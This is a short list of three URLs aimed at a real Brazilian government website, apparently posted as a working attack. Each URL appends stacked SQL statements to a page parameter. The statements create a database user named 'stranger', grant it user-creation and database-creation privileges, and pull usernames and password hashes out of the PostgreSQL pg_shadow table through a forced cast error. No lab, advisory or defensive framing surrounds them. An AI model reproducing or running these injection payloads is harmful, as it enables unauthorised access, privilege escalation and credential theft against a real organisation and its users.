http://www.terracap.df.gov.br/internet/index.php?sccid=35;create user stranger;

http://www.terracap.df.gov.br/internet/index.php?sccid=35;alter user stranger createuser createdb;

http://www.terracap.df.gov.br/internet/index.php?sccid=35;select cast(usename||chr(58)||passwd as int) from pg_shadow;